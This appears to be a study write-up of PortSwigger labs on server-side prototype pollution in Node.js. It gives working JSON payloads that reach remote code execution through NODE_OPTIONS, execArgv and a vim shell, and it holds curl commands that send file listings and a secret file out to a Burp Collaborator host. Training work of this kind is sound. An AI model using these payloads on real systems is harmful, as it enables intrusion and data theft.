Identifying a Vulnerable Request

The NODE_OPTIONS environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env object, you can potentially control this via prototype pollution if it is undefined.

Some of Node’s functions for creating new child processes accept an optional shell property, which enables developers to set a specific shell, such as bash, in which to run commands. By combining this with a malicious NODE_OPTIONS property, you can pollute the prototype in a way that causes an interaction with Burp Collaborator whenever a new Node process is created:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

Tip

The escaped double-quotes in the hostname aren’t strictly necessary. However, this can help to reduce false positives by obfuscating the hostname to evade WAFs and other systems that scrape for hostnames.

Remote Code Execution via child_process.fork()

The child_process.fork() method accepts an options object in which one of the potential options is the execArgv property. This is an array of strings containing command-line arguments that should be used when spawning the child process. If it’s left undefined by the developers, this potentially also means it can be controlled via prototype pollution.

Of particular interest is the --eval argument, which enables you to pass in arbitrary JavaScript that will be executed by the child process.

"execArgv": [
    "--eval=require('<module>')"
]

Lab: Remote Code Execution via Server-side Prototype Pollution

The objective of this lab is deleting /home/carlos/morale.txt file.

Detect prototype pollution:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "__proto__": {
    "json spaces": 16
  }
}

The response indicates that we can exploit prototype pollution vulnerability:

{
          "username": "wiener",
          "firstname": "Peter",
          "lastname": "Wiener",
          "address_line_1": "Wiener HQ",
          "address_line_2": "One Wiener Way",
          "city": "Wienerville",
          "postcode": "BU1 1RP",
          "country": "UK",
          "isAdmin": true,
          "json spaces": 16
}

Add env and NODE_OPTIONS properties:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "__proto__": {
    "json spaces": 16,
    "env": {
      "EVIL": "console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())//"
    },
    "NODE_OPTIONS": "--require /proc/self/environ"
  }
}

Explanation:

  • Value of EVIL will be added into /proc/self/environ as an environment variable.
  • The last // is used for commenting out the remaining content of /proc/self/environ when this file is treated as a JavaScript file.
  • The --require option will load /proc/self/environ file and treat it as a JavaScript file as well as run it.

Reference

Prototype Pollution to RCE | HackTricks

After that, send a POST request to /admin/jobs to spawn child processes:

POST /admin/jobs HTTP/2
Host: 0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Cookie: session=ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll
Content-Length: 126
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Referer: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net/admin
 
{
  "csrf": "rlyQZboJav3ePsQ2Dir3u4AkeNlUEJCA",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}

Its response

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 585
 
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Database cleanup",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Unexpected error."
      }
    }
  ]
}

Also, the lab is solved.

Another solution:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "JF9mvjgbIw2SIrq78FBuvTOWNwB8XmgY",
  "__proto__": {
    "execArgv": [
      "--eval=console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())"
    ]
  }
}

Remote Code Execution via child_process.execSync()

In some cases, the application may invoke execSync() method of its own accord in order to execute system commands.

Like fork(), the execSync() method accepts an options object that can be manipulated via the prototype chain.

To inject system commands, we can exploit the shell and input properties:

  • The input option is a string that execSync() sends to the child process’s stdin to be executed as a command. This option can be left undefined if the command is provided in another way.
  • The shell option specifies which shell to use, defaulting to the system shell, and can also be left undefined.

By polluting these properties, you can override the intended command with a malicious one:

  • The shell option only takes the shell’s executable name without additional arguments.
  • The shell is executed with -c, but in Node, this flag triggers a syntax check instead of running the script, making it challenging to use Node itself as a shell.
  • The shell must accept commands from stdin since the input property payload is passed this way.

Although they aren’t really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:

"__proto__": {
	"shell":"vim",
	"input":":! <command>\n"
}

One additional limitation of this technique is that some tools that you might want to use for your exploit also don’t read data from stdin by default. However, there are a few simple ways around this. In the case of curl, for example, you can read stdin and send the contents as the body of a POST request using the -d @- argument.

In other cases, you can use xargs, which converts stdin to a list of arguments that can be passed to a command.

Lab: Exfiltrating Sensitive Data via Server-side Prototype Pollution

Info

Follow the provided solution to solve this lab.

The vulnerability is confirmed by checking with json spaces overide approach.

Add shell and input to request body like this for confirming that we can send request to Burp Collaborator:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn",
  "__proto__": {
    "shell": "vim",
    "input": ":! curl http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com\n"
  }
}

After that, send POST request to /admin/jobs to trigger execSync() method.

POST /admin/jobs HTTP/2
Host: 0a9300d3033efc9481ae0c3100d9008a.web-security-academy.net
Cookie: session=fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn

The response shows that there are some errors:

{
  "results": [
    {
      "name": "db-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100    55  100    55    0     0   6111      0 --:--:-- --:--:-- --:--:--  6111\n\r\nPress ENTER or type command to continue\r\n"
      }
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100    55  100    55    0     0   2500      0 --:--:-- --:--:-- --:--:--  2500\n\r\nPress ENTER or type command to continue\r\n"
      }
    }
  ]
}

There are also some DNS and HTTP requests sent to Burp Collaborator, which confirms that we can send requests to Burp Collaborator to exfiltrate data:

IDTimeTypePayloadSource IP address
12024-Sep-03 13:40:41.971 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj34.245.205.188
22024-Sep-03 13:40:41.970 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.19
32024-Sep-03 13:40:41.971 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.54
42024-Sep-03 13:40:41.970 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.54
52024-Sep-03 13:40:41.976 UTCHTTP3korii4766eioqrjgk9olc2k2b82wukj34.251.122.40
62024-Sep-03 13:40:44.043 UTCHTTP3korii4766eioqrjgk9olc2k2b82wukj34.251.122.40

Next, update command to exfiltrate content of /home/carlos:

ls /home/carlos | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

The -d@- means we redirect any input from stdin to request body of a POST request made by curl.

There is a request sent to Burp Collaborator:

POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
 
node_appssecret

This should be the secret file.

Update command to read that file:

cat /home/carlos/node_appssecret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

The reponse shows an error:

cat: /home/carlos/node_appssecret: No such file or directory

Try to enumerate file in /home/carlos with file instead:

file /home/carlos/* | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

The request sent to Burp Collaborator:

/home/carlos/node_apps: directory/home/carlos/secret:    ASCII text, with no line terminators

So, the file we need to exfiltrate should be secret:

cat /home/carlos/secret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

The request we want:

POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
 
l7IMIBON9RiGma7oK9hILlaGqh0jGcP5
list
from outgoing([[Port Swigger - Remote Code Execution via Server-side Prototype Pollution]])
sort file.ctime asc

Resources